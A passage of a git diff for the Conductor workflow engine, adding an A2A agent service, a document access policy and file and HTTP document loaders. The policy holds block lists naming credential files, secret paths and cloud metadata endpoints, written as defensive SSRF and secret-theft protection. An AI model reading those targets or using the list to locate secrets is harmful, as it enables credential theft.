(Workflow.WorkflowStatus.COMPLETED == workflow.getStatus() + && workflow.getOutput() != null + && !workflow.getOutput().isEmpty()) { + task.setArtifacts(List.of(outputArtifact(workflow.getOutput()))); + } + return task; + } + + /** Maps a Conductor {@code WorkflowStatus} onto an A2A {@code TaskState}. */ + String mapState(Workflow workflow) { + switch (workflow.getStatus()) { + case COMPLETED: + return TaskState.COMPLETED; + case FAILED: + case TIMED_OUT: + return TaskState.FAILED; + case TERMINATED: + return TaskState.CANCELED; + case PAUSED: + // Admin pause has no clean A2A analog; treat as still working. + return TaskState.WORKING; + case RUNNING: + default: + return isBlockedOnInput(workflow) ? TaskState.INPUT_REQUIRED : TaskState.WORKING; + } + } + + /** A RUNNING workflow sitting on a non-terminal HUMAN/WAIT task is awaiting input. */ + private boolean isBlockedOnInput(Workflow workflow) { + return findBlockingTask(workflow) != null; + } + + /** The pending HUMAN/WAIT task the workflow is blocked on for input, or {@code null}. */ + private Task findBlockingTask(Workflow workflow) { + if (workflow.getTasks() == null) { + return null; + } + for (Task task : workflow.getTasks()) { + String type = task.getTaskType(); + if (("HUMAN".equals(type) || "WAIT".equals(type)) + && task.getStatus() != null + && !task.getStatus().isTerminal()) { + return task; + } + } + return null; + } + + private String statusNote(Workflow workflow, String state) { + if (TaskState.FAILED.equals(state)) { + return workflow.getReasonForIncompletion() != null + ? workflow.getReasonForIncompletion() + : "Workflow ended in state " + workflow.getStatus(); + } + if (TaskState.INPUT_REQUIRED.equals(state)) { + return "Workflow is awaiting input. Send another message/send carrying this task's id" + + " to provide the input and resume the execution."; + } + return null; + } + + private Artifact outputArtifact(Map output) { + Part part = new Part(); + part.setKind("data"); + part.setData(output); + Artifact artifact = new Artifact(); + artifact.setArtifactId("workflow-output"); + artifact.setName("output"); + artifact.setParts(List.of(part)); + return artifact; + } + + private A2AMessage agentTextMessage(String text, Workflow workflow) { + Part part = new Part(); + part.setKind("text"); + part.setText(text); + A2AMessage message = new A2AMessage(); + message.setRole("agent"); + message.setKind("message"); + message.setParts(List.of(part)); + message.setTaskId(workflow.getWorkflowId()); + message.setContextId(workflow.getCorrelationId()); + return message; + } + + private Map buildInput(A2AMessage message) { + Map input = new HashMap<>(); + if (message != null && message.getParts() != null) { + for (Part part : message.getParts()) { + if (part.getData() instanceof Map) { + @SuppressWarnings("unchecked") + Map data = (Map) part.getData(); + input.putAll(data); + } + } + } + input.put(INPUT_TEXT, partsText(message)); + input.put(INPUT_MESSAGE_ID, message == null ? null : message.getMessageId()); + input.put(INPUT_CONTEXT_ID, message == null ? null : message.getContextId()); + return input; + } + + // ---- helpers ----------------------------------------------------------------------------- + + private WorkflowDef requireExposed(String workflowName) { + WorkflowDef def = latestDef(workflowName); + if (def == null || !isExposed(def)) { + throw A2AServerException.notFound("No A2A agent exposed for workflow: " + workflowName); + } + return def; + } + + private WorkflowDef latestDef(String workflowName) { + if (workflowName == null || workflowName.isBlank()) { + return null; + } + try { + return metadataService.getWorkflowDef(workflowName, null); + } catch (Exception e) { + return null; + } + } + + private Workflow loadWorkflow(String workflowId, String expectedName, boolean includeTasks) { + Workflow workflow; + try { + workflow = workflowService.getExecutionStatus(workflowId, includeTasks); + } catch (Exception e) { + workflow = null; + } + if (workflow == null) { + throw A2AServerException.notFound( + "No A2A task (workflow execution) found: " + workflowId); + } + // An agent only manages its own workflow's executions. (getWorkflowName() throws if the + // definition is absent, so read it defensively via the definition.) + WorkflowDef def = workflow.getWorkflowDefinition(); + // Fail closed: if we can't confirm the execution belongs to this agent's workflow (name + // mismatch OR definition unavailable), deny — don't let agent A read/cancel B's tasks. + if (expectedName != null && (def == null || !expectedName.equals(def.getName()))) { + throw A2AServerException.notFound( + "Task " + workflowId + " does not belong to agent " + expectedName); + } + return workflow; + } + + private List tags(WorkflowDef def) { + Object tags = def.getMetadata() == null ? null : def.getMetadata().get(METADATA_TAGS); + if (tags instanceof List) { + List out = new ArrayList<>(); + for (Object t : (List) tags) { + if (t != null) { + out.add(t.toString()); + } + } + return out; + } + return null; + } + + /** The agent's JSON-RPC endpoint URL, e.g. {@code https://host/a2a/order_pizza}. */ + public String agentUrl(String workflowName, String requestBaseUrl) { + return baseUrl(requestBaseUrl) + normalizedBasePath() + "/" + workflowName; + } + + /** The agent's well-known Agent Card URL. */ + public String agentCardUrl(String workflowName, String requestBaseUrl) { + return agentUrl(workflowName, requestBaseUrl) + "/.well-known/agent-card.json"; + } + + private String baseUrl(String requestBaseUrl) { + String base = + properties.getPublicUrl() != null && !properties.getPublicUrl().isBlank() + ? properties.getPublicUrl() + : requestBaseUrl; + return base != null && base.endsWith("/") ? base.substring(0, base.length() - 1) : base; + } + + private String normalizedBasePath() { + String path = properties.getBasePath(); + if (path == null || path.isBlank()) { + return "/a2a"; + } + String p = path.startsWith("/") ? path : "/" + path; + return p.endsWith("/") ? p.substring(0, p.length() - 1) : p; + } + + private String partsText(A2AMessage message) { + if (message == null || message.getParts() == null) { + return null; + } + StringBuilder sb = new StringBuilder(); + for (Part part : message.getParts()) { + if (part.getText() != null) { + if (sb.length() > 0) { + sb.append("\n"); + } + sb.append(part.getText()); + } + } + return sb.length() == 0 ? null : sb.toString(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessDeniedException.java b/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessDeniedException.java new file mode 100644 index 0000000..e245300 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessDeniedException.java @@ -0,0 +1,24 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.document; + +/** + * Thrown when a document access request is blocked by {@link DocumentAccessPolicy} due to the + * location matching a blocked path, file name, or host. + */ +public class DocumentAccessDeniedException extends SecurityException { + + public DocumentAccessDeniedException(String message) { + super(message); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessPolicy.java b/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessPolicy.java new file mode 100644 index 0000000..986c3d7 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessPolicy.java @@ -0,0 +1,468 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.document; + +import java.net.InetAddress; +import java.net.URI; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.List; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +import jakarta.annotation.PostConstruct; +import lombok.Getter; +import lombok.Setter; +import lombok.extern.slf4j.Slf4j; + +/** + * Enforces access restrictions on document locations to prevent reading or writing sensitive files. + * Blocks well-known sensitive paths on local filesystems and cloud metadata endpoints by default. + * Configurable via {@code conductor.document-access-policy.*} properties. + * + *

By default, the allowed directory list is derived from {@code + * conductor.file-storage.parentDir} so that document workers and the access policy share a single + * configuration. Additional directories can be added via {@code + * conductor.document-access-policy.allowed-directories}. + */ +@Slf4j +@Component +@ConfigurationProperties(prefix = "conductor.document-access-policy") +@Getter +@Setter +public class DocumentAccessPolicy { + + private final Environment env; + + public DocumentAccessPolicy(Environment env) { + this.env = env; + } + + /** + * Additional allowed directory prefixes for local filesystem access, beyond the directory + * configured by {@code conductor.file-storage.parentDir} (which is always included + * automatically). When the effective allowed list is non-empty, only paths that fall + * under one of those directories are permitted — all others are denied regardless of the + * blocklist. + * + *

Example: {@code /tmp/imports/,/data/shared/} adds those trees in addition to the + * file-storage parentDir. Supports {@code ~/} expansion and environment variable defaults via + * Spring. + */ + private List allowedDirectories = List.of(); + + /** Additional path prefixes to block (merged with built-in defaults). */ + private List blockedPathPrefixes = List.of(); + + /** Additional file name patterns to block (exact match, case-insensitive). */ + private List blockedFileNames = List.of(); + + /** Additional hostname/IP patterns to block for HTTP-based loaders. */ + private List blockedHosts = List.of(); + + /** Set to true to disable all access checks (not recommended for production). */ + private boolean disabled = false; + + /** + * Effective allowed directories resolved at startup: the file-storage parentDir (if configured) + * plus any additional entries from {@link #allowedDirectories}. + */ + private List effectiveAllowedDirectories; + + @PostConstruct + void resolveEffectiveAllowedDirectories() { + List dirs = new ArrayList<>(); + + // Always include the file-storage parentDir — this is where workers store output + String parentDir = env.getProperty("conductor.file-storage.parentDir"); + if (parentDir != null && !parentDir.isBlank()) { + dirs.add(parentDir); + } else { + // Match the default used by AIModelProvider when the property is not set + dirs.add(System.getProperty("user.home") + "/worker-payload/"); + } + + if (allowedDirectories != null) { + dirs.addAll(allowedDirectories); + } + + effectiveAllowedDirectories = List.copyOf(dirs); + + log.info( + "Document access policy effective allowed directories: {}", + effectiveAllowedDirectories); + } + + // --- Built-in blocked path prefixes (local filesystem) --- + private static final List DEFAULT_BLOCKED_PATH_PREFIXES = + List.of( + // ---- Linux system credentials & auth ---- + "/etc/passwd", + "/etc/shadow", + "/etc/gshadow", + "/etc/master.passwd", + "/etc/sudoers", + "/etc/sudoers.d/", + "/etc/pam.d/", + "/etc/login.defs", + "/etc/krb5.keytab", + "/etc/security/", + // ---- SSH & TLS ---- + "/etc/ssh/", + "/etc/ssl/", + "/etc/pki/", + // ---- Kernel / process / device ---- + "/proc/", + "/sys/", + "/dev/", + // ---- Root home ---- + "/root/", + // ---- Logs (may leak tokens, IPs, credentials) ---- + "/var/log/", + // ---- Scheduled tasks ---- + "/var/spool/cron/", + // ---- Container & orchestration secrets ---- + "/var/run/secrets/", // Kubernetes service-account tokens + "/run/secrets/", // Docker secrets mount + "/var/run/docker.sock", // Docker socket — full host control + "/etc/kubernetes/", // Node-level K8s configs & PKI + // ---- macOS system paths ---- + "/private/etc/", // macOS symlink to /etc + "/private/var/db/dslocal/", // macOS local directory service + "~/Library/Keychains/", // macOS user keychains + "/Library/Keychains/", // macOS system keychain + // ---- Windows sensitive paths (forward-slash notation) ---- + "C:/Windows/System32/config/", // SAM, SYSTEM, SECURITY hives + "C:/Windows/repair/", // Backup registry hives + "C:/Windows/Panther/", // Unattend.xml with plaintext passwords + "C:/Windows/System32/sysprep/", // Sysprep unattend files + "C:/inetpub/", // IIS web root + // ---- User-home dotfiles — credentials & secrets ---- + "~/.ssh/", + "~/.gnupg/", + "~/.aws/", + "~/.azure/", + "~/.config/gcloud/", + "~/.oci/", // Oracle Cloud CLI + "~/.kube/", + "~/.docker/", + "~/.config/gh/", // GitHub CLI tokens + "~/.m2/", // Maven settings (server credentials) + "~/.gradle/", // Gradle properties (signing keys, repo creds) + "~/.cargo/", // Cargo registry credentials + "~/.gem/", // RubyGems credentials + "~/.terraform.d/", // Terraform credentials + "~/.vault-token", // HashiCorp Vault token + "~/.npmrc", + "~/.yarnrc", + "~/.pypirc", // PyPI upload credentials + "~/.netrc", + "~/.gitconfig", + "~/.git-credentials", + "~/.bash_history", + "~/.zsh_history", + "~/.boto", // Legacy AWS/GCS credentials + "~/.s3cfg" // s3cmd credentials + ); + + // --- Built-in blocked file names (case-insensitive, matched against last path component) --- + private static final List DEFAULT_BLOCKED_FILE_NAMES = + List.of( + // ---- Environment / dotenv files ---- + ".env", + ".env.local", + ".env.development", + ".env.development.local", + ".env.staging", + ".env.test", + ".env.production", + ".env.production.local", + ".env.backup", + ".env.bak", + ".flaskenv", + // ---- Web server auth ---- + ".htpasswd", + // ---- Database credentials ---- + ".pgpass", + ".my.cnf", + ".mylogin.cnf", + // ---- Git credentials ---- + ".git-credentials", + ".gitconfig", + // ---- SSH keys & auth ---- + "id_rsa", + "id_ed25519", + "id_ecdsa", + "id_dsa", + "authorized_keys", + "known_hosts", + // ---- TLS / signing keys & keystores ---- + "private.pem", + "private.key", + "server.key", + "keystore.jks", + "truststore.jks", + "cacerts", + // ---- Cloud credentials ---- + "credentials", + "credentials.json", + "credentials.db", + "service-account.json", + "application_default_credentials.json", // GCP ADC + "accessTokens.json", // Azure CLI tokens + "msal_token_cache.json", // Azure MSAL + // ---- Infrastructure-as-code secrets ---- + "terraform.tfstate", + "terraform.tfstate.backup", + "terraform.tfvars", + ".vault-token", + // ---- Build tool credentials ---- + "settings.xml", // Maven + "settings-security.xml", // Maven + "gradle.properties", + ".npmrc", + ".pypirc", + // ---- Framework configs with secrets ---- + "master.key", // Rails master key + "web.config", // IIS / ASP.NET + // ---- Windows system files ---- + "SAM", + "SYSTEM", + "SECURITY", + "Unattend.xml", + "autounattend.xml", + "ConsoleHost_history.txt", // PowerShell history + // ---- macOS ---- + "login.keychain-db", + // ---- Docker ---- + ".dockercfg" // Legacy Docker registry auth + ); + + // --- Built-in blocked hosts (cloud metadata services) --- + private static final List DEFAULT_BLOCKED_HOSTS = + List.of( + "169.254.169.254", // AWS / GCP / Azure / OCI / DO / Hetzner / OpenStack + "169.254.170.2", // AWS ECS container credentials + "metadata.google.internal", // GCP metadata + "metadata.internal", // GCP alias + "100.100.100.200", // Alibaba Cloud metadata + "instance-data.ec2.internal", // AWS metadata DNS alias + "fd00:ec2::254", // AWS IPv6 metadata + "kubernetes.default", // K8s in-cluster API + "kubernetes.default.svc", + "kubernetes.default.svc.cluster.local"); + + /** + * Validates that the given location is safe to access. Throws {@link + * DocumentAccessDeniedException} if blocked. + */ + public void validateAccess(String location) { + if (disabled) { + return; + } + + String normalized = normalizeLocation(location); + + checkBlockedPaths(normalized); + checkBlockedFileNames(normalized); + checkBlockedHosts(location); + checkPathTraversal(normalized); + checkAllowedDirectories(location, normalized); + } + + private void checkBlockedPaths(String normalizedPath) { + for (String prefix : DEFAULT_BLOCKED_PATH_PREFIXES) { + String expandedPrefix = expandHome(prefix); + if (normalizedPath.startsWith(expandedPrefix)) { + throw new DocumentAccessDeniedException( + "Access denied: path matches blocked prefix '" + prefix + "'"); + } + } + for (String prefix : blockedPathPrefixes) { + String expandedPrefix = expandHome(prefix); + if (normalizedPath.startsWith(expandedPrefix)) { + throw new DocumentAccessDeniedException( + "Access denied: path matches blocked prefix '" + prefix + "'"); + } + } + } + + private void checkBlockedFileNames(String normalizedPath) { + String fileName = extractFileName(normalizedPath); + if (fileName == null || fileName.isEmpty()) { + return; + } + String lowerFileName = fileName.toLowerCase(); + + for (String blocked : DEFAULT_BLOCKED_FILE_NAMES) { + if (lowerFileName.equals(blocked.toLowerCase())) { + throw new DocumentAccessDeniedException( + "Access denied: file name '" + fileName + "' is blocked"); + } + } + for (String blocked : blockedFileNames) { + if (lowerFileName.equals(blocked.toLowerCase())) { + throw new DocumentAccessDeniedException( + "Access denied: file name '" + fileName + "' is blocked"); + } + } + } + + private void checkBlockedHosts(String location) { + String host = extractHost(location); + if (host == null || host.isEmpty()) { + return; + } + String lowerHost = host.toLowerCase(); + + // Check against explicit blocklist + for (String blocked : DEFAULT_BLOCKED_HOSTS) { + if (lowerHost.equals(blocked.toLowerCase())) { + throw new DocumentAccessDeniedException( + "Access denied: host '" + host + "' is blocked"); + } + } + for (String blocked : blockedHosts) { + if (lowerHost.equals(blocked.toLowerCase())) { + throw new DocumentAccessDeniedException( + "Access denied: host '" + host + "' is blocked"); + } + } + + // Resolve hostname to IP and check for link-local / metadata ranges. + // This catches obfuscated IPs (hex, octal, decimal encoding) and DNS + // rebinding because InetAddress.getByName normalizes all representations. + checkResolvedAddress(host); + } + + /** + * Resolves the host to an IP address and blocks link-local (169.254.0.0/16) and other dangerous + * ranges that are commonly used for SSRF against cloud metadata services. + */ + private void checkResolvedAddress(String host) { + try { + InetAddress addr = InetAddress.getByName(host); + if (addr.isLinkLocalAddress()) { + throw new DocumentAccessDeniedException( + "Access denied: link-local address range is blocked (host resolves to " + + addr.getHostAddress() + + ")"); + } + if (addr.isLoopbackAddress()) { + throw new DocumentAccessDeniedException( + "Access denied: loopback address is blocked (host resolves to " + + addr.getHostAddress() + + ")"); + } + } catch (DocumentAccessDeniedException e) { + throw e; + } catch (Exception e) { + // DNS resolution failure — allow the request to proceed and fail naturally + log.debug( + "Could not resolve host '{}' for access policy check: {}", + host, + e.getMessage()); + } + } + + private void checkPathTraversal(String normalizedPath) { + if (normalizedPath.contains("/../") + || normalizedPath.endsWith("/..") + || normalizedPath.startsWith("../")) { + throw new DocumentAccessDeniedException( + "Access denied: path traversal sequences are not allowed"); + } + } + + /** + * Only local filesystem paths under the effective allowed directories (file-storage parentDir + + * any additional configured directories) are permitted. HTTP/HTTPS URLs are not subject to this + * check. + */ + private void checkAllowedDirectories(String originalLocation, String normalizedPath) { + List dirs = effectiveAllowedDirectories; + if (dirs == null || dirs.isEmpty()) { + return; + } + // Only apply to local filesystem paths, not HTTP URLs + if (originalLocation.startsWith("http://") || originalLocation.startsWith("https://")) { + return; + } + + for (String dir : dirs) { + String expandedDir = expandHome(dir.endsWith("/") ? dir : dir + "/"); + if (normalizedPath.startsWith(expandedDir) || normalizedPath.equals(expandedDir)) { + return; // Path is within an allowed directory + } + } + + throw new DocumentAccessDeniedException( + "Access denied: path is not under any allowed directory. " + + "Allowed directories: " + + dirs); + } + + private String normalizeLocation(String location) { + // Strip file:// scheme + String path = location; + if (path.startsWith("file://")) { + path = path.substring(7); + } + + // For HTTP URLs, extract the path component + if (path.startsWith("http://") || path.startsWith("https://")) { + try { + URI uri = URI.create(path); + return uri.getPath() != null ? uri.getPath() : ""; + } catch (Exception e) { + return path; + } + } + + // Resolve to absolute path to catch traversal attacks + try { + return Path.of(path).normalize().toString(); + } catch (Exception e) { + return path; + } + } + + private String expandHome(String path) { + if (path.startsWith("~/")) { + return System.getProperty("user.home") + path.substring(1); + } + return path; + } + + private String extractFileName(String path) { + int lastSlash = path.lastIndexOf('/'); + if (lastSlash >= 0 && lastSlash < path.length() - 1) { + return path.substring(lastSlash + 1); + } + return path; + } + + private String extractHost(String location) { + try { + if (location.startsWith("http://") || location.startsWith("https://")) { + URI uri = URI.create(location); + return uri.getHost(); + } + } catch (Exception e) { + // ignore + } + return null; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentLoader.java b/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentLoader.java new file mode 100644 index 0000000..7c41be7 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/document/DocumentLoader.java @@ -0,0 +1,45 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.document; + +import java.io.IOException; +import java.io.InputStream; +import java.util.List; +import java.util.Map; + +public interface DocumentLoader { + + byte[] download(String location); + + String upload(Map headers, String contentType, byte[] data, String fileURI); + + /** + * Upload data from an InputStream, allowing streaming of large files (e.g., video) without + * buffering the entire content in memory. + * + *

Default implementation reads all bytes into memory and delegates to the byte[]-based + * upload. Implementations should override this for true streaming behavior. + */ + default String upload( + Map headers, String contentType, InputStream data, String fileURI) { + try { + return upload(headers, contentType, data.readAllBytes(), fileURI); + } catch (IOException e) { + throw new RuntimeException("Failed to read InputStream for upload", e); + } + } + + List listFiles(String location); + + boolean supports(String location); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/document/FileSystemDocumentLoader.java b/ai/src/main/java/org/conductoross/conductor/ai/document/FileSystemDocumentLoader.java new file mode 100644 index 0000000..d1a1d50 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/document/FileSystemDocumentLoader.java @@ -0,0 +1,110 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.document; + +import java.io.IOException; +import java.io.InputStream; +import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.util.List; +import java.util.Map; +import java.util.stream.Stream; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@ConditionalOnProperty( + value = "conductor.worker.document-loader.type", + havingValue = "file", + matchIfMissing = true) +@Slf4j +public class FileSystemDocumentLoader implements DocumentLoader { + + private final DocumentAccessPolicy accessPolicy; + + public FileSystemDocumentLoader(DocumentAccessPolicy accessPolicy) { + this.accessPolicy = accessPolicy; + } + + @Override + public byte[] download(String location) { + accessPolicy.validateAccess(location); + try { + + return Files.readAllBytes(Path.of(location.replace("file://", ""))); + + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + @Override + public String upload( + Map headers, String contentType, byte[] data, String fileURI) { + try { + if (data == null) { + return null; + } + accessPolicy.validateAccess(fileURI); + Path path = Path.of(fileURI.replace("file://", "")); + var result = path.toFile().getParentFile().mkdirs(); + log.info("writing to {}", path); + Files.write(path, data); + return "file://" + path.toAbsolutePath().toString(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + /** + * Streaming upload that writes directly from an InputStream to the filesystem without buffering + * the entire content in memory. Suitable for large files such as video. + */ + @Override + public String upload( + Map headers, String contentType, InputStream data, String fileURI) { + try { + if (data == null) { + return null; + } + accessPolicy.validateAccess(fileURI); + Path path = Path.of(fileURI.replace("file://", "")); + path.toFile().getParentFile().mkdirs(); + Files.copy(data, path, StandardCopyOption.REPLACE_EXISTING); + return "file://" + path.toAbsolutePath().toString(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + @Override + public List listFiles(String location) { + accessPolicy.validateAccess(location); + try (Stream paths = Files.list(Path.of(new URI(location)))) { + return paths.map(path -> path.toUri().toString()).toList(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @Override + public boolean supports(String location) { + // either starts with fileURI or does not contain URI scheme + return location.startsWith("file://") || !location.contains("://"); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/document/HttpDocumentLoader.java b/ai/src/main/java/org/conductoross/conductor/ai/document/HttpDocumentLoader.java new file mode 100644 index 0000000..0b46e6b --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/document/HttpDocumentLoader.java @@ -0,0 +1,335 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.document; + +import java.net.ConnectException; +import java.net.SocketException; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import com.google.common.util.concurrent.Uninterruptibles; +import lombok.extern.slf4j.Slf4j; +import okhttp3.Headers; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; + +@Slf4j +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class HttpDocumentLoader implements DocumentLoader { + + private static final int MAX_DEPTH = 1; // Specify the depth limit + private final OkHttpClient httpClient; + private final DocumentAccessPolicy accessPolicy; + + public HttpDocumentLoader(DocumentAccessPolicy accessPolicy) { + this.accessPolicy = accessPolicy; + this.httpClient = + new OkHttpClient.Builder() + .connectTimeout(30, TimeUnit.SECONDS) + .readTimeout(30, TimeUnit.SECONDS) + .writeTimeout(30, TimeUnit.SECONDS) + .build(); + } + + @SuppressWarnings("unchecked") + @Override + public byte[] download(String location) { + accessPolicy.validateAccess(location); + try { + Map headers = + (Map) TaskContext.get().getTask().getInputData().get("headers"); + Input input = new Input(); + if (headers != null) { + input.getHeaders().putAll(headers); + } + input.setMethod("GET"); + input.setUri(location); + input.setAccept("*/*"); + HttpResponse response = retryOperation(o -> httpCall(o), 3, input); + return (byte[]) response.body; + + } catch (Throwable t) { + log.error(t.getMessage(), t); + throw new RuntimeException(t); + } + } + + @Override + public String upload( + Map headers, String contentType, byte[] data, String fileURI) { + try { + if (fileURI == null) { + return null; + } + accessPolicy.validateAccess(fileURI); + Input input = new Input(); + input.getHeaders().putAll(headers); + input.setMethod("POST"); + input.setUri(fileURI); + input.setBody(data); + HttpResponse response = retryOperation(this::httpCall, 3, input); + if (response.isError()) { + throw new RuntimeException( + "error uploading file %s - %s" + .formatted(response.statusCode, response.reasonPhrase)); + } + return fileURI; + } catch (Throwable t) { + log.error(t.getMessage(), t); + throw new RuntimeException(t); + } + } + + @Override + public List listFiles(String location) { + return List.of(); + } + + @Override + public boolean supports(String location) { + return location.startsWith("http://") || location.startsWith("https://"); + } + + private static boolean isValidUrl(String url) { + return url.startsWith("http") && !url.contains("#"); // Basic URL validation + } + + protected HttpResponse httpCall(Input input) throws Exception { + // Build headers + Headers.Builder headersBuilder = new Headers.Builder(); + + // Add content type + String contentType = input.getContentType(); + if (contentType != null && !contentType.isEmpty()) { + headersBuilder.add("Content-Type", contentType); + } + + // Add accept header + String accept = input.getAccept(); + if (accept != null && !accept.isEmpty()) { + headersBuilder.add("Accept", accept); + } + + // Add custom headers + input.getHeaders() + .forEach( + (key, value) -> { + if (value != null) { + headersBuilder.add(key, value.toString()); + } + }); + + Headers headers = headersBuilder.build(); + + // Build request based on HTTP method + Request.Builder requestBuilder = new Request.Builder().url(input.getUri()).headers(headers); + + String method = input.getMethod(); + Object body = input.getBody(); + + switch (method) { + case "GET": + requestBuilder.get(); + break; + case "POST": + RequestBody postBody = createRequestBody(body, contentType); + requestBuilder.post(postBody); + break; + case "PUT": + RequestBody putBody = createRequestBody(body, contentType); + requestBuilder.put(putBody); + break; + case "DELETE": + if (body != null) { + RequestBody deleteBody = createRequestBody(body, contentType); + requestBuilder.delete(deleteBody); + } else { + requestBuilder.delete(); + } + break; + case "PATCH": + RequestBody patchBody = createRequestBody(body, contentType); + requestBuilder.patch(patchBody); + break; + default: + throw new IllegalArgumentException("Unsupported HTTP method: " + method); + } + + // Execute request + try (Response response = httpClient.newCall(requestBuilder.build()).execute()) { + HttpResponse httpResponse = new HttpResponse(); + httpResponse.statusCode = response.code(); + httpResponse.reasonPhrase = response.message(); + + // Convert OkHttp headers to Spring HttpHeaders for compatibility + org.springframework.http.HttpHeaders springHeaders = + new org.springframework.http.HttpHeaders(); + response.headers().toMultimap().forEach(springHeaders::addAll); + httpResponse.headers = springHeaders; + + // Read response body + if (response.body() != null) { + httpResponse.body = response.body().bytes(); + } + + // Check for errors + if (!response.isSuccessful()) { + throw new RuntimeException( + "Error making an HTTP call " + + httpResponse.reasonPhrase + + ", status: " + + httpResponse.statusCode); + } + + return httpResponse; + } + } + + /** Create RequestBody from the input body object. */ + private RequestBody createRequestBody(Object body, String contentType) { + if (body == null) { + return RequestBody.create(new byte[0], null); + } + + MediaType mediaType = + contentType != null + ? MediaType.parse(contentType) + : MediaType.parse("application/octet-stream"); + + if (body instanceof byte[]) { + return RequestBody.create((byte[]) body, mediaType); + } else if (body instanceof String) { + return RequestBody.create((String) body, mediaType); + } else { + // For other types, convert to string + return RequestBody.create(body.toString(), mediaType); + } + } + + /** Functional interface for operations that can throw exceptions. */ + @FunctionalInterface + private interface FunctionWithException { + R apply(T input) throws Exception; + } + + private R retryOperation(FunctionWithException operation, int count, T input) + throws Throwable { + int index = 0; + Throwable lastException = null; + while (index < count) { + try { + return operation.apply(input); + } catch (Throwable t) { + lastException = t; + if (t instanceof ConnectException + || (t.getCause() != null && t.getCause() instanceof SocketException)) { + index++; + Uninterruptibles.sleepUninterruptibly( + 100L * (count + 1), TimeUnit.MILLISECONDS); + } else { + break; + } + } + } + if (lastException != null) { + throw lastException; + } + throw new RuntimeException(); + } + + /** Input model for HTTP requests. */ + static class Input { + private String method; + private Map headers = new java.util.HashMap<>(); + private String uri; + private Object body; + private String accept = "application/json"; + private String contentType = "application/json"; + + public String getMethod() { + return method; + } + + public void setMethod(String method) { + this.method = method; + } + + public Map getHeaders() { + return headers; + } + + public void setHeaders(Map headers) { + this.headers = headers; + } + + public Object getBody() { + return body; + } + + public void setBody(Object body) { + this.body = body; + } + + public String getUri() { + return uri; + } + + public void setUri(String uri) { + this.uri = uri; + } + + public String getAccept() { + return accept; + } + + public void setAccept(String accept) { + this.accept = accept; + } + + public String getContentType() { + return contentType; + } + + public void setContentType(String contentType) { + this.contentType = contentType; + } + } + + /** HTTP Response model. */ + static class HttpResponse { + public Object body; + public 